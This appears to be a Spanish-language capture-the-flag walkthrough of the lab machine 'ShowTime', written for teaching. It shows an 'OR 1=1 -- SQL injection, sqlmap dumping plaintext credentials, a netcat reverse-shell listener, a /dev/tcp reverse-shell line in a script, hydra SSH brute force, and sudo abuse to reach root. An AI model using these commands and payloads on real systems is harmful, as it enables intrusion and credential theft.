ShowTime CTF Walkthrough
Hoy nos encontramos con una máquina interesante ya que toca SQL Injection, así que veamos como se resuelve.
Comenzamos esta CTF creada por maciiii___ con la metodología ya vista en anteriores Write-ups, usando Rustscan como herramienta de escaneo de puertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(kali㉿kali)-[~/…/DockerLabs/Facil/9-ShowTime/deploy]
└─$ rustscan -a 172.17.0.3 -- -sCV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I don't always scan ports, but when I do, I prefer RustScan.
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 172.17.0.3:22
Open 172.17.0.3:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p -sCV" on ip 172.17.0.3
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e1:9a:9f:b3:17:be:3d:2e:12:05:0f:a4:61:c3:b3:76 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGVopaCeVDexTXjTQ8Evp32rYr6xz/SRwxkF38MuCV3M2r+qNEQeVQmIOoln+Ost9TBwT0IOTCB0UnahMdphYaA=
| 256 69:8f:5c:4f:14:b0:4d:b6:b7:59:34:4d:b9:03:40:75 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF8UKDJcTeQYC0J6ABwec15ZJeGiC1YQ8BiHp19ErpLP
80/tcp open http syn-ack Apache httpd 2.4.58 ((Ubuntu))
|_http-title: cs
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Del resultado podemos ver que los puertos SSH y HTTP están abiertos, así como de costumbre observaremos la web que corre por el puerto 80. Sobre las versiones no vemos ninguna que sea conocidamente vulnerable y sobre el sistema operativo vemos que es Ubuntu.
Seguimos con el segundo paso que es el Fuzzing con Feroxbuster, donde el resultado nos muestra varios archivos y directorios, pero en el siguiente estracto destaco los resultados que considero importantes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/…/DockerLabs/Facil/9-ShowTime/deploy]
└─$ feroxbuster -u http://172.17.0.3:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -d 0 -t 100 -x html,txt,php,py
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://172.17.0.3:80
🚀 Threads │ 100
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [html, txt, php, py]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ INFINITE
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302 GET 0l 0w 0c http://172.17.0.3/login_page/home.php => index.php
200 GET 1l 5w 37c http://172.17.0.3/login_page/auth.php
200 GET 73l 150w 2025c http://172.17.0.3/login_page/
301 GET 9l 28w 313c http://172.17.0.3/login_page => http://172.17.0.3/login_page/
Vemos un directorio llamado /login_page que alberga tres archivos llamados home.php, index.php y auth.php.
Observando la página en nuestro navegador vemos un sencillo login donde se me ocurrió hacer una SQL Injection con una operación lógica bastante conocida: 'OR 1=1 --
.
El login es correcto pero no nos da ninguna opción más. Con esto hemos comprobado que la página es vulnerable a SQL Injection, por eso usaremos la herramienta SQLMap para seguir adentrándonos.
El método que personalmente uso comienza capturando la petición HTTP con BurpSuite al iniciar sesión en el login.
Seguimos copiando la petición entera y la guardándola en un archivo de texto.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/…/DockerLabs/Facil/9-ShowTime/content]
└─$ cat burp.txt
POST /login_page/auth.php HTTP/1.1
Host: 172.17.0.3
Content-Length: 53
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.17.0.3
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.17.0.3/login_page/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
usuario=%27OR+1%3D1+--&contrase%C3%B1a=%27OR+1%3D1+--
Y por último usando SQLMap, automatizaremos la explotación de SQL Injection con los siguientes parámetros:
- -r burp.txt: especificamos el archivo que alberga la petición que SQLMap usará para ejecutar sus injecciones.
- -dbs: sirve para enumerar las bases de datos encontradas.
- –dump: esta función muestra el vuelco de la información encontrada en las tablas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿kali)-[~/…/DockerLabs/Facil/9-ShowTime/content]
└─$ sqlmap -r burp.txt -dbs --dump
___
__H__
___ ___["]_____ ___ ___ {1.8.7#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:52:14 /2024-08-25/
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] users
Database: users
Table: usuarios
[3 entries]
+----+----------------------+----------+
| id | password | username |
+----+----------------------+----------+
| 1 | 123321123321 | lucas |
| 2 | 123456123456 | santiago |
| 3 | MiClaveEsInhackeable | joe |
+----+----------------------+----------+
[*] ending @ 20:54:18 /2024-08-25/
El resultado del –dump nos muestra los campos usuario y contraseña con sus respectivos registros los cuales tendremos en cuenta como possibles credenciales válidas.
Las credenciales correctas son el usuario joe y la password MiClaveEsInhackeable. Una vez nos logueamos correctamente, tenemos un panel de administración el cual ejecuta comandos python. Sabiendo esto, ejecutaremos una Reverse Shell para ganar acceso remoto.
Desde Kali, recibimos la Reverse Shell obteniendo así el control del usuario www-data. Lo siguiente es retomar la metodología tratando la TTY:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/…/DockerLabs/Facil/9-ShowTime/deploy]
└─$ sudo nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.0.27] from (UNKNOWN) [172.17.0.3] 58018
$ whoami
whoami
www-data
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@eb67e53c9530:/var/www/html/login_page$ ^Z
zsh: suspended sudo nc -lvnp 9001
┌──(kali㉿kali)-[~/…/DockerLabs/Facil/9-ShowTime/deploy]
└─$ stty raw -echo; fg
[1] + continued sudo nc -lvnp 9001
reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@eb67e53c9530:/var/www/html/login_page$ export TERM=xterm
www-data@eb67e53c9530:/var/www/html/login_page$ export SHELL=bash
Buscando entre directorios, encontramos en /tmp un texto oculto interesante que contiene cadenas de texto separados en saltos de línea, recordandonos a un diccionario de contraseñas:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
www-data@eb67e53c9530:/tmp$ ls -la
total 20
drwxrwxrwt 1 root root 4096 Aug 25 22:09 .
drwxr-xr-x 1 root root 4096 Aug 25 20:24 ..
-rw-r--r-- 1 root root 894 Jul 22 23:24 .hidden_text.txt
-rw-r--r-- 1 www-data www-data 126 Aug 25 22:09 temp_script.py
drwx------ 2 mysql mysql 4096 Jul 22 23:28 tmp.w3E3JvWoeD
www-data@eb67e53c9530:/tmp$ cat .hidden_text.txt
Martin, esta es mi lista de mis trucos favoritos de gta sa:
HESOYAM
UZUMYMW
JUMPJET
LXGIWYL
KJKSZPJ
YECGAA
SZCMAWO
ROCKETMAN
AIWPRTON
OLDSPEEDDEMON
CPKTNWT
WORSHIPME
NATURALTALENT
BUFFMEUP
[...]
Teniendo en cuenta que la contraseña puede que sea en minúsculas, pasaremos de mayúsculas a minúsculas las posibles credenciales con la herramienta tr.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/…/DockerLabs/Facil/9-ShowTime/content]
└─$ cat w.txt | tr 'A-Z' 'a-z'
hesoyam
uzumymw
jumpjet
lxgiwyl
kjkszpj
yecgaa
szcmawo
rocketman
aiwprton
oldspeeddemon
cpktnwt
worshipme
naturaltalent
buffmeup
[...]
Ademas de las contraseñas, enumeramos los usuarios que se encuentran en el archivo /etc/passwd.
1
2
3
4
5
root@eb67e53c9530:/home/luciano# cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
joe:x:1001:1001:joe,,,:/home/joe:/bin/bash
luciano:x:1002:1002:luciano,,,:/home/luciano:/bin/bash
Al tener contraseñas y usuarios, usaremos Hydra para realizar un ataque de fuerza bruta offline, encontrando así las credenciales SSH del usuario joe con la contraseña chittychittybangbang.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/…/DockerLabs/Facil/9-ShowTime/content]
└─$ hydra -l joe -P w.txt ssh://172.17.0.3
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-25 22:12:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 78 login tries (l:1/p:78), ~5 tries per task
[DATA] attacking ssh://172.17.0.3:22/
[22][ssh] host: 172.17.0.3 login: joe password: chittychittybangbang
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-25 22:12:47
Y con las credenciales encontradas realizamos la intrusión correctamente via SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/…/DockerLabs/Facil/9-ShowTime/content]
└─$ ssh joe@172.17.0.3
joe@172.17.0.3's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.6.9-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun Aug 25 23:11:57 2024 from 172.17.0.1
joe@eb67e53c9530:~$ id
uid=1001(joe) gid=1001(joe) groups=1001(joe),100(users)
Una vez dentro continuamos con la metodología para la escalada de privilegios con sudo -l
. El resultado nos muestra un binario que se puede ejecutar como root sin necesidad de contraseña para el usuario luciano.
Para abusar de esta vulnerabilidad, necesitamos ejecutar el comando como luciano con sudo -u luciano
, y posteriormente indicando el binario:
1
2
3
4
5
6
7
8
9
joe@eb67e53c9530:~$ sudo -l
Matching Defaults entries for joe on eb67e53c9530:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joe may run the following commands on eb67e53c9530:
(luciano) NOPASSWD: /bin/posh
joe@eb67e53c9530:~$ sudo -u luciano /bin/posh
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
Una vez dentro volvemos a ejecutar el comando sudo -l
viendo así el binario /bin/bash y el script /home/luciano/script.sh como archivos configurados como NOPASSWD.
Buscamos el directorio y encontramos el script, donde vemos que el propietario es el mismo luciano, dándonos la posibilidad de cambiar el contenido y ejecutarlo como root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
luciano@e0633b1bd5ce:/home/joe$ sudo -l
Matching Defaults entries for Luciano on e0633b1bd5ce:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User luciano may run the following commands on e0633b1bd5ce:
(root) NOPASSWD: /bin/bash /home/luciano/script.sh
luciano@eb67e53c9530:/home/joe$ cd
luciano@eb67e53c9530:~$ ls -la
total 32
drwxr-x--- 3 luciano luciano 4096 Jul 23 16:10 .
drwxr-xr-x 1 root root 4096 Jul 23 16:02 ..
-rw-r--r-- 1 luciano luciano 220 Jul 23 16:02 .bash_logout
-rw-r--r-- 1 luciano luciano 3771 Jul 23 16:02 .bashrc
drwxrwxr-x 3 luciano luciano 4096 Jul 23 16:06 .local
-rw-r--r-- 1 luciano luciano 807 Jul 23 16:02 .profile
-rw-rw-r-- 1 luciano luciano 112 Jul 23 16:07 script.sh
Viendo el contenido del script no encontramos nada interesante, pero podemos cambiar su contenido al ser el propietario.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
luciano@eb67e53c9530:~$ cat script.sh
#!/bin/bash
IP="192.168.1.100"
PORT="4444"
bash -c 'exec 5<>/dev/tcp/'$IP'/'$PORT'; cat <&5 | bash >&5 2>&5'
luciano@eb67e53c9530:~$ nano script.sh
bash: nano: command not found
luciano@eb67e53c9530:~$ vim script.sh
bash: vim: command not found
luciano@eb67e53c9530:~$ vi script.sh
bash: vi: command not found
Nos encontramos con el problema de que no se encuentra disponible un editor de texto en el sistema para cambiar su contenido. Una solución es usar echo, añadiendo el comando “bash -p” para ejecutar una shell con privilegios y obteniendo finalmente el acceso root.
1
2
3
4
5
6
luciano@eb67e53c9530:~$ echo "bash -p" > script.sh
luciano@eb67e53c9530:~$ cat script.sh
bash -p
luciano@eb67e53c9530:~$ sudo /bin/bash /home/luciano/script.sh
root@eb67e53c9530:/home/luciano# whoami
root
¡Espero que el Walkthrough del dia de hoy os haya parecido interesante y que hayáis podido aprender o refrescar conceptos! Si tenéis alguna duda o recomendación podéis contactar conmigo, ¡un gran saludo a todos!
Hasta la próxima,
~loh♡.